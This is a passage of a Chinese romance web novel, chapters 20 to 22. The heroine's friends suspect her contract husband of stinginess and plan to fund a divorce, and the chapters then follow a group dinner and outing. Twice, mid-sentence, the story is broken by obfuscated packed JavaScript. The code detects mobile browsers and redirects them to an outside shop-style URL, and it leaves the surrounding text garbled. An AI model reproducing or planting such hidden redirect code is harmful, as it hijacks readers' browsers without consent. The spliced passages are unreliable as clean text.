陆依然一摊手，做出了一个异常困惑的表情，“这能让那女生怎么说，真让他干坐着看着自己吃饭吗？” “当时那学姐应该是跟梁嵛一届的，对他有点意思，这一下，兴趣全无。正好俩人也是搭伙出去办事，地方挺远，想着那跑了一天干脆打个车回去休息算了，结果你知道后来又发生了什么？后来旁边的公交站来了车，他眼疾手快帮女生当场拦了辆出租，然后自己赶车上公交回去了！” 确实挺神奇的。 常妙如梦初醒地听完，“这些你都是怎么知道的？” 陆依然：“有些是见过，有些是听说的，最后这件事其实是网上刷到的。” 秦羽鹭也稀奇了，“网上？” “嗯，好像是梁嵛研三毕业的时候，有个女生上学校表白墙表白他，结果评论里冒出一堆人叫她快跑，顺便吐槽的一些事吧。老长一张图了，现在要翻估计还能找到。” 陆依然说到这，轻叹了口气，“所以，常妙姐，不是说梁嵛他人不好，只是我觉得当结婚对象不行，他太抠门了，但凡涉及到钱，必定精确到分，大学那阵儿连个图脸跟他交往的都没有，你这之后还要跟他过日子，站在女孩子的角度，我怕……” 宿舍里忽然陷入安静。 常妙微微蹙着眉，沉默许久。 这副样子落在秦羽鹭眼里，就是常妙获知真实情况后，后悔了。 是啊，都不说结婚这种意义更重的，就普通谈个恋爱也不能找这种抠门的男人啊。和女朋友在一起笔笔帐算那么清楚，分手了还要人家归还恋爱里的一切花销，这样的人就该单身一辈子！ 刚才陆依然说的有些事秦羽鹭也是第一次听，不过整合下来，她就懂了，估计这个梁嵛就是自己找不到老婆了才使了这么一招，借着自己模样不错，又看常妙年轻好骗，当即下手用钱捆绑住，趁人之危！ 担心常妙清醒后会因为这段关系感到不安，秦羽鹭上前安抚地拍拍她的肩膀说：“妙妙，你放心吧，钱的问题你不用担心，我去问我妈借，问题不大，一定能让你早日跟他离婚！” 陆依然见状，也主动说：“我也可以问家里借点，知道是帮朋友，他们一定会给我的。常妙姐，你别担心。” 两人你一句我一语的，常妙刚才在想事情，一回神，不知道话题怎么就突然扯到离婚上去了，陆依然更是直接拎起包走了。 常妙没拦住，转头问秦羽鹭陆依然做什么去，秦羽鹭敛着眉，语气凝重，“以防万一，让依然先问家里借点，剩下的我来想办法。”好像是在脑子里已经过了一遍流程了，她接着握住常妙的手，目光坚定，“妙妙，你这就去跟他提离婚！” 常妙：“啊？” 秦羽鹭：“啊什么，离婚！必须离婚！你现在就发消息给他说！” 常妙为难，“……可是离不了欸。” “为……” 秦羽鹭一愣，掐指不知算了什么，然后瞪大眼睛看向常妙的肚子—— 常妙迟钝半秒，立刻反应过来，“你你你想什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078377|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢！” “离不了因为我是跟他协议结婚，十年期限。” 秦羽鹭：“……” 秦羽鹭：“…………” “那你意思是就算把钱给他还了也离不了婚？” “对的。” 常妙这脑袋点的十分缓慢和诚恳，而后她就看见秦羽鹭颓然跌坐在了凳子上，秦羽鹭似乎还有很多话想说，但每每准备开口的时候就闭上了嘴，常妙不知道此刻她具体在想些什么，但通过那时不时传来的咬牙声，她明显感觉秦羽鹭对梁嵛的印象好像更差了…… “还有一件事——” 这时常妙试探着开口，声音轻飘飘的，像是皇帝前堂朝会震怒后还要顶着压力再报告后宫着火的倒霉小太监。 秦羽鹭闻声，茫然又谨慎地抬头，“什么？” 常妙给她讨好地笑了笑，机会失不再来，勇气转瞬即逝，她也不想火上浇油的！ “梁嵛说，想让我搬过去住……” 咬牙声又吱吱吱地在宿舍里响了起来。 - 生气带来的饱腹作用到底没能维持多长时间，秦羽鹭最后还是先出去吃饭了。 常妙一个人在宿舍，打开电脑，准备继续完成毕设，因为频繁接稿兼职的关系，她的进度一直有些慢，往年毕业答辩都是在五月底六月初的时候，之后还有毕业展，再往后是毕业典礼，时间很紧。 所以她打算这个月再接个商稿就暂时不接了，有个合作过多次的公司找她，预计过几天就能把这件事定下来，之后空闲下来的精力就全部放在毕设和毕业准备上。 然而明明已经有了计划，喝了杯水的功夫，常妙的思绪却已经跑到了跟眼前正事完全不搭边的另一处。 她在想梁嵛。 准确来讲，是在探究梁嵛这个人。 秦羽鹭和陆依然今天跟她讲了很多，大致的意思她明白，就是梁嵛为人吝啬，抠门，不值得托付终身。 其实这么一说，常妙也回忆起来之前发现的很多细节，比如梁嵛买菜喜欢去早市，但实际上价格跟在超市买或者街边小店买差的也不多，凭他的收入情况完全没必要；又比如梁嵛他在钱上很认真，一听说她被人欠钱表情立刻凝重起来，还主动提出帮她去要；再有两人第一次见面的时候，他那时候应该是跟某个朋友打电话？有零有整地让人家还钱，如果是她，或者说以前的她，很有可能就把那个零头抹了。 这几天在他家也是，衣柜里不乏穿了很久的衣服，睡衣似乎是以前的某件外穿退居幕后了，发现起球就用去球机刮一刮继续穿，还有那双老头拖鞋…… 种种迹象都表明陆依然所说并非空穴来风，但不知道问什么，常妙此刻心里并没有太多不安，反而有种破开迷雾恍然大悟的感觉。 可能也是心境不同了吧，她不再是那个有钱人家的大小姐，半年来生活里的花销处处需要精打细算，以至于她对梁嵛的很多做法居然还挺理解的，他是个孤儿，从小到大日子必定拮据，不想方设法地省钱怎么行？ 而且。 她觉得梁嵛也不完全是陆依然说的那样。 涉及到钱，必定精确到分—— 常妙想起手机银行里最新的那笔转账，悄然抬了下眉。 “确实精确到分了呢。” 朋友的担心她不会忽略，不过，梁嵛这个人常妙还是想自己再去看一看，可能她就是遇见了这么一个奇怪的人呢，明明是个守财奴，结婚后还非要分一半财产给她，明明是段不真诚的婚姻，却还要那么认真地自顾自扮演着丈夫的角色。 可是为什么呢？ 20. 第 20 章 话说这头，陆依然从常妙宿舍楼出来就给陆宗序发了消息，她平时生活费不够的时候第一个找的就是陆宗序，谁让他俩同命相连呢，同在大家长的压迫下，兄妹俩可不得抱团取暖，互相支持么！ 然而一连发了好几条，对面始终没有回复。 陆依然这个妹妹还是很善解人意的，今天是工作日，她的好哥哥一定是在忙工作，她不方便打扰，所以还是过半小时再给他发信息吧！ 五分钟后。 “陆！宗！序！” 被随意扔在床上的手机传出一声怒吼。 “我给你发了那么多条消息你居然装看不见？！” 手机开着免提，继续播放着陆依然叽叽喳喳的声音，“你就不担心我出了什么事，还有心思发朋友圈？” 窗帘刷地被拉开，一道半裸的身影从床上掠过，陆宗序从衣柜里捡出一件衬衫，懒懒套上，但不及那只骨节分明的手扣上一颗扣子，床头柜的另一只手机震动了声。 显示屏还没灭，他视力不错，能看见消息之上的那个名字。 陆依然：“人呢？陆、宗、序，你又把电话一接人就跑了！你还是不是我哥了！” 发觉对面一直没人说话，陆依然一下就想到了这人的前科。 “没跑。”陆宗序拖着腔，总算出声。 他低眸在另一只手机上打字。 【好聚好散。】 简单的四个字之后，他不再管对面会发什么过来，直接把人从联系人列表删除了。 “没跑你干嘛不说话？”陆依然不满地嘟囔，随后又叽里咕噜地碎碎念，“不会是旁边有什么女人吧，有的话你就挂了，可别让我听见什么不该听的，我还小，听不得这些。” 陆宗序：“……陆依然，想要零花钱的话我建议你好好跟你哥说话。” 漫不经心的语气下是淡淡的警告。 陆依然咂摸了嘴巴，能屈能伸，转眼就换了面孔撒娇道：“好的好的，那哥哥酱，可以给我点零花钱嘛~” 陆宗序哼笑一声，“这次又要多少？” 陆依然想了想，“二十万？” 笑意瞬间敛去，陆宗序蹙眉拿起手机，划掉免提，把手机放到耳边说：“陆依然，你不是在外边闯了什么祸吧？” 陆家的小辈在上学期间生活费都是非常有限的，就是怕小小年纪养出来什么挥霍无度的坏习惯，所以往常陆依然就算要，顶多就是几千块，多了他这里也不好跟她妈交代，结果这丫头这回给他狮子大开口？ 陆依然辩解，“哪有，我是那种人吗？我就是为了帮助朋友而已。” “帮朋友？哪个朋友能让你为了她找我借二十万？” “羽鹭姐啊，还有常妙姐。” “常妙？” “哪个？” 陆宗序第一次听到这个名字。 陆依然奇怪，“你不知道？常妙姐就是和梁嵛结婚的那个啊。” 陆宗序愣了一下，一时没说话。 好半晌，“你刚才说什么？” 梁嵛，结婚了？？？ 他有点怀疑自己没睡醒。 手机那边。 “我说，常妙姐就是和梁嵛结婚的那个。”陆依然重复了一遍，突然意识到什么，“陆宗序，你不会连自己兄弟结婚了都不知道吧！” “……还是梁嵛根本就没告诉你？” 陆宗序无法回答，舌尖在后槽牙滚了一圈，浓眉下的眼眸蕴着些无语的火气，他能说他还真不知道么。 “那你说的那二十万是什么意思？” “哦，是这样的……”陆依然把今天的事大概给陆宗序说了一遍。 陆宗序听完，只觉得今天第二件更离谱的事情出现了，“那你这是要拿我的钱，去帮着别人让我兄弟离婚？陆依然，你怎么想出来的？” 陆依然：“那我也没有办法嘛，我去跟妈妈要，她肯定不给我。哥，你就帮帮忙呗？或者你少给点也行。” 二十万也是她想着万一秦羽鹭那边不顺利，她这边就多要点算了。 陆宗序不说话，陆依然只能硬着头皮开口，“哥……” …… 梁嵛鲜少在这个点接到陆宗序的电话，他思索了下，顺手拿起水杯起身往外走，到茶水间才按下接通键。 听筒里传来对面略显深沉的声音。 “做什么呢？” 还透着点明显的不高兴。 梁嵛：“工作日，你说我做什么？” 陆宗序：“……” 既然听出来了，梁嵛回复完这个没营养的问题之后，还是关心了一下陆宗序，“你又做什么，这个点给我打电话。” 陆宗序就等着梁嵛问他这个问题，目的达到，他自然而然就接话：“最近一直出差，有段日子没见到我相识多年的好友，打个电话问候一下啊。” “相识多年”四个字，陆宗序着重强调！ 梁嵛排着队，等前一个人走了，单手冲了杯咖啡，一次性搅拌棒水中画出浅浅的漩涡。 陆宗序还在跟他卖关子，梁嵛不想猜，选择性地回答他：“哦，我最近挺好的。” 陆合科技独占一栋大楼，陆宗序是管理层，梁嵛在研发部，就算他不出差，两人平时如果不刻意约见确实也很难碰面。 陆宗序再次被噎住。 梁嵛这个人啊，你说他实心眼，偏偏他经常能听出别人阴阳怪气的话外之音，然后你说他聪明吧，他为人做事上又偏偏给你打直球，一点不知道圆滑。这会儿，他明明就听出来自己有话要说，却又在这给他装傻！ 陆宗序揉了揉眉心，他搞不过他，干脆直接道：“你什么时候结的婚，为什么不告诉我？” 话音落下，话筒那边沉默片刻。 梁嵛用搅拌棒点点杯沿，沉声，“我告诉过你。” 陆宗序：“啊？” 梁嵛提示，“三月底，我给你发过一条微信。” 陆宗序狐疑回忆，好半天，他表情愕然垮下，还真叫他想起来了…… 那天他是在陪前女友吃饭，结果半截收到了梁嵛发来的信息，这人啥也没说，就发了四个字。 【我结婚了。】 陆宗序忍不住吐槽，“不是，你这也行？”他还以为是他做梦呢！ 补充。 梁嵛做梦！ 两人从大学就认识了，虽说真正熟悉起来是在研三，但囫囵算起来也有个十年了。 十年，他了解梁嵛这个人，旁人总觉得他俩一个南一个北，身份，家庭环境，哪里都不可能掺和到一起去，但实则，只有两个怪人才能凑到一起去啊。 梁嵛希望按部就班地完成一个正常人的人生规划，所以结婚是他事业稳定下来后的另一个执念，老人们常说结婚要趁早，又碰巧家里边从去年开始也给他谋划起了相亲的事，梁嵛知道了，对比两人的年纪，自然也对自己的终身大事上了心。 只是各方面原因吧，小半年过去了，他一点动静都没有。 梁嵛是个聪明人，他能走到现在这一步努力和天赋一样不少，也因此，他常常能在确定目标后再通过努力去实现它，然而结婚却是他唯一一件怎么也无法取得进展的事情，就像是水花，石子丢进去，很快恢复平静。 这种情况，放在梁嵛以往的经历上，陆宗序很难不认为当时是梁嵛想结婚想疯了，做梦呢…… 碰巧也是晚上，陆宗序不忍打破好友的美梦，还反手给他发了个赞。 这么大个乌龙，陆宗序不想进一步戳破自己当时没当回事的事实，果断转了话题。 他轻咳一声，“那你就这么把那姑娘拐来，你确定她对你没有怨言吗？” 梁嵛微微侧头，从他话里察觉出什么，“你知道什么？” “你先回答我。” 梁嵛默然，垂眼看着水面未平的波澜，“她很好。” 言下之意， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没有不过，我这不是都把打折的卡给你了吗！” 其实报手机号也行，但是到时候结账一听是别人的手机号，多没面啊，陆宗序真是觉得自己处处为这个好兄弟想到了。 “行了，不说这么多，你又不是消费不起，公司每年给你那么多年薪你是都扔进大海了吗，该花你就花，别老抠抠搜搜的攒着。” 梁嵛知道这个理，现在不是小时候那种窘困的情况，赚了钱如果一直放在银行，他这钱也是有点白挣，可他就是省惯了，如果不是特殊、或者必要情况，花钱的时候本能地会有点抗拒。 “那我……” 这犹犹豫豫的语气，陆宗序一听，还以为梁嵛还想去火锅店，有些恨铁不成钢地一拍大腿，愤声道：“老梁，你不能这么抠了！好歹娶了媳妇儿，让人家看见，离婚的事还不板上钉钉了。” “离婚？”梁嵛再次想起了被打岔过多次的问题，他神色认真起来，“陆宗序，你到底都知道些什么？” 陆宗序面无表情地把手机从耳边移开，转头咬了咬牙，然后才说：“依然跟我说了你们的事。” 反正迟早知道的，隔着电话线，他也不怕，“你媳妇儿的朋友觉得你不像好人，拐骗单纯女大，正计划着跟你离婚呢。” 梁嵛蹙眉，“我没有拐骗她。” 陆宗序：“嗯，你没有拐骗，你只是利用金钱的诱惑趁人之危了。” 身侧的手微紧，梁嵛的眼底闪过一丝自己都没有意识到的急躁，“那她同意了？” 陆宗序：“或许在考虑中？不然依然也不会找我来借钱了。” 梁嵛沉下脸，“那你给了？” 陆宗序：“。” 愉悦的口哨声。 今天天气真好啊~ 21. 第 21 章 梁嵛给常妙回了信息。 周末的时候可以见面，到时候他请她和她朋友一起吃顿饭，顺便接她回家，让常妙提前整理好自己的衣物，那天一起带走。 常妙应下来，她已经和羽鹭说过了，毕竟已经两人结婚了，要住在一起也无可厚非，只不过她这样走了之后宿舍就剩下羽鹭一个人了，她舍不得，于是又跟梁嵛商量了下，能不能每周回来给导师审进度的那天还是住宿舍，第二天她再回去。 梁嵛这次过了好久才回复：【可以。】 常妙立刻高兴起来：【谢谢！】 梁嵛：【另外还有一件事，关于那些钱。】 常妙：【你想要回去？可以啊，我还没动过。】 常妙比梁嵛打字快得多，梁嵛打到一半看见，眉头一凛，拇指快速在删除键上点点点。 梁嵛：【不是。】 梁嵛：【你慢点。】 常妙老实不动了。 梁嵛：【本来中午吃饭的时候就想说的。抱歉，之前把钱转给你之后我就没有过问过，但是今天看来，你好像对我们之间的关系还有顾虑。】 梁嵛：【结婚这件事我身边没有什么参考，很多早早该办的东西事后才想起来，所以我不知道是否因为我哪里做的不好，才让你对这份婚姻产生了不安感。如果是这样，希望你能直接向我说明，我觉得合理的话，会改，毕竟我们还会在一起十年，不是吗？】 她，不安吗？ 常妙忽然记起梁嵛的身世，其实她也没有参考的，她爸爸在她小时候就去世了，舅舅结过婚但又离了，在这方面她跟梁嵛差不多，既然如此，两个人一起摸着石头过河也没什么。 她一直是这样想的。 常妙没大明白，但梁嵛这后半段话她又觉得说的很对，于是也说：【那我也是，有什么不好的，你说，我也改。】 梁嵛看着对面发过来的话，微微放下心：【嗯。】 但其实他没想到常妙有什么不好的。 可能得学学做饭？ 不要他不在家的时候把自己饿死了。 梁嵛转回今日主题：【所以那些钱，给你了就是你的，你怎么花都没关系，不要有顾虑。如果不想作他用也可以，那就花到自己身上，吃饭，衣服，都行，把自己照顾好。】 【不过，别太挥霍。】 常妙怔怔看到最后的补充条款，突然笑了。 常妙：【好。】 梁嵛：【晚上的饭给我拍照。】 这就是检查的意思了。 常妙：【……好。】 - 周末。 说是搬走，但这几天常妙一直没有收拾，临到和梁嵛约好的那一天，她才大概拿了一些衣服和日用品装到了包里，秦羽鹭在旁边帮她一起弄着，看到柜子里挂着的睡裙，取出来给常妙看了眼，“这个要拿吗，夏天了，长袖长裤不大能穿了。” 常妙正蹲在地上翻找着什么，抬起头匆匆扫过，“那个就不用了，梁嵛家有，这个我回宿舍穿。” 秦羽鹭把裙子放回去，语气有意无意，“哦，所以你放假那几天都在他家？” 常妙动作一滞，敏感地察觉到身后有种秋后算账的不妙气息，她又冒出脑袋，趴在椅子上，无害地眨巴着她那双大大的葡萄眼，“你怎么知道呀？” 秦羽鹭没好气地斜睨她一眼，关上衣柜门，“衣服都没换，怎么猜不到？” “嘿嘿。” 这事到此就算翻篇了。 下午五点，梁嵛准时发来信息，已经到楼下了。 女生宿舍楼不允许男生进来，常妙扛上自己的大包，已经是随时出发的状态了，但回头看秦羽鹭，她还在化妆，偏蓝调的复古红在唇上一笔笔勾勒，涂至饱和度最高，再用指腹轻轻晕染…… 秦羽鹭从镜子里能看到常妙的正在看她，昂起下巴转身让常妙瞧，“怎么样？” 当然是很漂亮！ 羽鹭跟她的长相完全不同，她不管身上多瘦，脸上总是肉肉的，线条偏圆润，要不是身高撑着，突破了固有印象，那完全就是一个可爱妹妹，而羽鹭她的棱角感则明显多了，下颌角清晰流畅，颧骨微挺，属于正好能撑起皮相还不会显得过分成熟的那种，常妙一直认为她这是属于骨相美，很大气的长相。 尤其今天她还画了这么精致的妆，大地色的眼影，黑色的眼线微微上挑，上淡下浓，突出了唇妆，给人眼前一亮的感觉。只是，乍看上去好像会有点凶？ 秦羽鹭不在意，“就是凶！就要凶！你看这个口红，有没有后妈感？” 常妙评价，“我觉得是小妈感。” 冷酷的小妈，不好惹的小妈。 “啊？那我化妆技术退步了？”秦羽鹭抬起镜子又照了下，摇头，“啧，肯定是你对我有滤镜了，这嘴巴，都红到有点发黑了你看不出来？” 常妙咯咯笑出声，“那你今天怎么突然画成这样？” “给你撑场子啊，让把你拐跑的那个男人看看，你的朋友是多么不好惹！要是以后敢欺负你，我……”秦羽鹭指指自己的嘴，“我咬死他！” “哈哈哈哈哈哈哈！” 一楼不住人，从楼梯拐下来就是一片落地玻璃，常妙只是随意扫一眼，就看到那辆熟悉的黑车停在了门口不远处。 梁嵛靠在车头的位置朝她这边安静望着，两人都看见了对方，常妙笑着给他挥了挥手。 等出了宿舍大门，梁嵛已经迈着长腿从车边过来了，常妙和秦羽鹭一起拎了一个大的单肩包，他伸手接过，“我来拿吧。” 常妙也不和他客气了，里面还装着电脑，很沉。 手上一松，她立刻仰起脸跟梁嵛介绍，“对了，跟你介绍一下，这是我好朋友兼舍友，秦羽鹭。” “羽鹭，他就是梁嵛。” 梁嵛忽略掉对面不加掩饰的打量眼神，点了下头，“你好。” 秦羽鹭声音冷淡，“见过。” 话音落，三人之间陡然只剩下过路的风声。 常妙笑意僵在嘴角，转动眼珠看了看梁嵛，又看了看秦羽鹭。 羽鹭！你不满的表情太明显了啊啊啊！ 旁边时不时有过路的女同学朝他们这边看过来，好奇的眼神飞速在他们中间转圈逡巡，常妙正对着，更尴尬了……本来促成今天这次见面的目的是想让羽鹭能正式认识一下梁嵛，减少偏见的，总不能连这第一步都迈不出去吧？ 常妙努力撑起中间人的角色，顺着话就接，“是嘛，你俩还见过面？什么时候见的？” 秦羽鹭冲她挑眉，眼神意味深长，“前几天的事你忘了吗？” 常妙脑袋空白一瞬，随后反应过来就开始脚趾抠地。 她问了一个蠢问题……救命！ “妙妙。” “哎！” 男人低沉的声音仿佛是把她从大坑里挖出一双大手，常妙恨不得赶紧抓住，她果断转头看向梁嵛，带着微笑，“怎么啦？” 梁嵛目光落在她左手，常妙手上还提了一个小袋子，不重，但此刻或许是因为焦虑，指甲已经无意识地深深陷入皮肉，泛起了小小一圈无血色的白。 他没再像刚才一样问她，错入她的指缝将其松展而后顺带拎到自己的手里，现在两手被占用，他很合理地提出，“一起去放东西吧，帮我开下后备箱？” 常妙点头，“好啊。” “你也先去车上吧，餐厅有预约时间，不好迟到。”梁嵛再转向秦羽鹭，少见地露出一个礼貌的微笑。 常妙诧异看着，心里忍不住有点开心。 要知道梁嵛平时挺少笑的，今天这样也太给她面子了吧！ 既然如此，她也非常愿意体贴他，“羽鹭，那你快上车吧。”常妙给秦羽鹭一招手，然后迈着轻快的小步伐就跑到了车后方。 秦羽鹭落在最后，震惊地望着常妙的背影。 你要不要跑那么快啊！ …… 秦羽鹭没有选择先上车，而是站在了后座的车门旁边等常妙。 虽然目前为止这个叫梁嵛的并没有做出什么让她厌烦的事情，但他站在那里本身就是“厌烦”的代名词，她无论如何都不能接受一个男人通过趁人之危的方式哄骗走了自己的小姐妹，一会儿上车，她是要拉着常妙坐后座的，至少在她眼皮子底下，休想跟她挨在一起！ 大概是秦羽鹭太专注了，眼睛好像能穿透后备箱的铁板似的一错不错瞪着那个方向，一点也没发觉后座的车窗里有个黑影一直存在。 车窗缓缓降下，陆宗序撑着额角，好整以暇地看着车外的姑娘，就等着秦羽鹭什么时候发现他。 发现了，车窗降到三分之一的时候就发现了。 秦羽鹭侧眸看过去的时候脸上还带着极致不爽的心情，但紧跟着下一秒她整个人就没了气势，怔怔僵住了。 陆宗序轻轻挑眉，“小鸟儿，今天的妆画的不错啊。” 秦羽鹭：“……” 为什么他也来了啊！！！ 幸好常妙这时放完东西过来了，她也看见了车里的人，但她不认识，只能向身后的人寻求答案。 梁嵛给她介绍，“我朋友，陆宗序。” 陆？ 常妙忽然想起来，“依然的哥哥吗？” “对，弟妹猜对了！” 陆宗序长着一双桃花眼天生含情，只要笑着，那似乎看谁好像都有点什么东西，常妙没见过这样的眼睛，心觉漂亮的同时，多少有点不适应，她下意识往梁嵛那边靠了靠。 还是正经人更靠谱啊。 梁嵛注意到常妙的小动作，神色微动，而后看向陆宗序，纠正道：“我比你大。” 陆宗序哈哈大笑，“行行行，那我叫个嫂子？” “不不不，叫我名字就行了！常妙，我叫常妙！”常妙疯狂摆手之后，又看见一边沉默的秦羽鹭，“这是我朋友，秦羽鹭。” 秦羽鹭一口气差点没上来，她被迫再次迎上陆宗序的目光，对方没说话，同以往的每一次见面一样，总是弯着那双眼睛似笑非笑地看着她，只是这次终于多了些含义。 关于他们到底认不认识这件事，他在等她先开口。 片晌。 “妙妙，我跟他认识。” 秦羽鹭总算说出来了，以前是觉得没什么机会再见，现在这样碰面了，那就坦荡点打招呼呗，反正他们也没有什么不可告人的关系。 一个朋友的哥哥而已。 常妙和梁嵛都有些惊讶，但很快又都想到，认识也是正常的，她和陆依然关系不错，那见过陆宗序也在情理之中。 陆宗序笑了声，“行，人都认识了就上车吧，这个点高峰期，再不走可要迟到了。” 梁嵛拉开副驾让常妙坐进去，秦羽鹭回过神时已经慢了一步。 常妙如果不和她一起，那…… “还不上车？”陆宗序透着戏谑的声音响起。 “……” 秦羽鹭攥了攥手心，没看他，闷头往后座的另一边走。 - 一味的位置有点远，加上高峰期堵车，花了将近一个小时几人才到达目的地。 门口的服务生穿着整齐干净，几人还没进店，那人已经朝他们的方向展开了笑容。 常妙以前也去过一些高级餐厅，一眼便看出这家的价格必定不菲，趁着没到跟前，她忍不住拽拽梁嵛的袖子确认道：“你确定是这里？” 常妙说话声音小，梁嵛也配合地降低，“是这。” 常妙：“这应该很贵吧……” 梁嵛：“很贵……” 不知道为什么，常妙居然从这短短两个字里听出了一点即将大出血的心疼。 距离让她来不及问出下一句，到了门口，那名远远就对他们微笑的服务生客客气气地将四人引了进去。 餐厅内部装修更是高级，深色格调雅致沉稳，四周全部是落地窗，时间恰逢黄昏，迎面一幅巨大的橙色画卷朝他们的方向极致铺展，让人震撼得不由停住脚步。 如果说梁嵛上次带她去的那家还算是接点地气，属于普通人咬着牙也能进去试试的餐厅，那么这家店光这么看着就有种望而却步，立刻逃跑的感觉。 梁嵛……他疯了吧…… 抠门人设是这样表现的吗！ 座位被安排在了靠窗的位置，男女各坐一边，服务生将菜单拿上来，梁嵛和陆 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陆宗序这人是个跟谁都能聊的性子，只要愿意，绝对不让话掉地上，常妙又迈过了刚认识的坎，话也多了起来，两人有说有笑的，梁嵛给常妙夹菜都没顾上吃。 好不容易中场休息告一段落了，陆宗序吃饭的时候胳膊不小心碰了梁嵛一下。 梁嵛眼神沉沉地看向他。 “要不要换个位子？” 陆宗序微怔，随后反应过来，露出一个欠打的笑容，“不用，这样挺好。” - 吃完饭时间还早，难得人这么齐，陆宗序提议再去附近的商场转转一起看个电影，几人都没有异议，商场就在旁边，过了一条街就是，梁嵛也省的去开车了。 商场的一楼就是一家大的奶茶店，常妙看见，转头去找秦羽鹭问：“羽鹭，你喝不喝？” 刚才那家餐厅酒水是按杯卖的，鉴于价格实在离谱，常妙喝了一杯之后就没敢再要，所以她吃完饭喉咙里一直干巴巴的，不大舒服。 秦羽鹭跟她情况也差不多，“喝。” 她当时对面坐个人压力巨大，基本只知道埋头干饭了，最后吃完才发觉自己吃太多了，嗓子干得冒烟。 常妙一笑，跟梁嵛打了声招呼就准备过去。 梁嵛：“我跟你去。” 秦羽鹭见状，“那我也去！” 一个接一个，像一只只冒头的狐獴，但是秦羽鹭刚走一步就被身后的人拉住了手腕，“人家夫妻俩，你就别跟着了，盯了这么久，眼睛不疼？” 常妙这时恰好回头看了眼没跟上的秦羽鹭，却没想到看见了这一幕，她目光极快地扫过陆宗序手握的位置，然后立马装看不见地喊了句，“羽鹭，没事你不用来，我给你买就行！” 喊完，匆匆回过头掩饰自己的震颤的八卦之心。 秦羽鹭知道常妙肯定是多想了，但这时候还不方便跟她解释，面前这个人才叫她头大，手腕上滚烫的温度每一秒都在刺激着她的神经，她握了握拳，到底没动作，只是反驳说：“我什么时候盯他们了？” 这话是真的，本来她是打算全程监督，严加审判的，但谁知道来了个他，她根本就没那个专注力了好吧。 陆宗序这时松开了手，抱着胳膊好笑道：“来时的车上，饭桌上，但凡梁嵛对常妙说了什么话，或者做了什么动作，你都要嫌弃又不满地看他一眼。” 秦羽鹭狐疑，“有吗？” 陆宗序：“有。” 可她没记忆啊！ 远处梁嵛和常妙还在等单，陆宗序看着正疯狂回想的秦羽鹭，不禁笑了下，“你这点倒是没变，遇见事总是希望先把朋友护在身后。” 秦羽鹭轻撇了下嘴，靠在墙上，“那听您这意思，我是有哪点变了吗？” 陆宗序：“或许没变吧，但是哥哥建议你，要是这种勇气能用一点在自己身上，应该就不会被你那弟弟欺负哭了。” 秦羽鹭一噎，知道他指的是假期的那件事。 “那是个意外！”她忍不住呛。 陆宗序：“是吗？” 秦羽鹭：“是！” 陆宗序看着她。 两秒后，“行，那我就当那是个意外。” “……”秦羽鹭扭过头，“随你怎么想。” 又过一阵。 “好奇，问你个事。” “什么……” 陆宗序：“你为什么这么看不上梁嵛？按理说他能赚钱，长相也不逊色，应该是个还不错的结婚对象吧？” 秦羽鹭很轻地眨了下眼，“依然不是告诉你了么。” 陆宗序点头，“告诉了，但是她还说了这么一句话‘羽鹭姐一听是你的朋友，立马就着急了’。”他学着陆依然的语气，“怎么，你其实是对我有哪点不满意吗？” 秦羽鹭没说话，但沉默已经告诉了陆宗序答案。 陆宗序这下是真觉得有意思了，他一直认为自己还挺靠谱的，这么多年谈恋爱，虽然女朋友多吧，但他基本上每个都好聚好散，从来没做过什么违背道德的事情，怎么放到这姑娘这，嫌弃到连带着梁嵛也给拖累了。 思索片刻，陆宗序做了个猜测，“你是不是觉得我身边没有什么正经朋友？” 秦羽鹭抬眸，他说对了，她就是这么认为的。 甚至不能用“正经朋友”这么美观的词来形容，那简直是狐朋狗友！ 喝酒撩妹，赛车赌.博，两年前她见过的。 陆宗序又从那双眼睛里看到了“嫌弃”两个字，他一笑，“好吧，我承认我身边这种爱玩的纨绔子弟比较多，但梁嵛这人我还是想为他说句话的，他跟他们不一样，就那性子你也看到了，压根就跟那帮人融不进去。人吧，是抠门了点，但那是小时候生活不好，现在日子不一样了，再怎么说也不会苛待常妙的，你就别想法拆散人家了，知道吗？” 秦羽鹭心说她现在就算想想办法也没用啊，他们俩…… 头顶突然落下一只手在她发间揉了揉。 秦羽鹭身子一僵。 陆宗序：“下次，换个口红吧？你还是更适合明亮的颜色。” 秦羽鹭盯着脚下的影子，低低应了声，“嗯。” 22. 第 22 章 从电影院出来，天上下起了小雨，四个人只有梁嵛开了车，他挨个把秦羽鹭和陆宗序送回去以后才开始往家里开。 晚上十点多钟，伴上天然的白噪音，常妙就算不想睡也控制不住有了困意，今天她穿了件短裙，不冷，但人在静止状态里体温就会降低，她抱着胳膊，微微蜷缩着。 还有四十多秒的红灯。 梁嵛朝副驾看了眼，顿了顿，探身从副驾的椅背收纳里取出一张小薄毯，落在常妙腿上的时候动作很轻，但还是让她睁开了眼睛。 常妙有点迷迷蒙蒙的，呆滞地抓了抓腿上柔软的蓝色小毯子，“这是哪来的？” 梁嵛：“我买的。” 常妙笑笑，声音有种睡醒时独有的软，“不是，我记得你车里没有这个啊。” 梁嵛：“那天去酒吧接你之后买的。” 常妙歪了下头，她的表情显然是忘了那件事，梁嵛没打算多说什么，收回视线，望向前方的信号灯。 “还睡吗，估计还有半个小时才到家。” “不睡了，这会儿睡了晚上该睡不着了，正好陪你一会儿。” 常妙把小毯子往大腿底下塞塞，打起精神。 梁嵛轻应，“嗯。” 绿灯亮起，梁嵛重新踩下油门，小雨好像停了，车窗上没再出现斜飞的雨线，常妙将车窗降下来点，露出一道风口，但下过雨的空气裹着寒气，常妙被迎面这么一吹，皱着小脸立马又给升了上去。 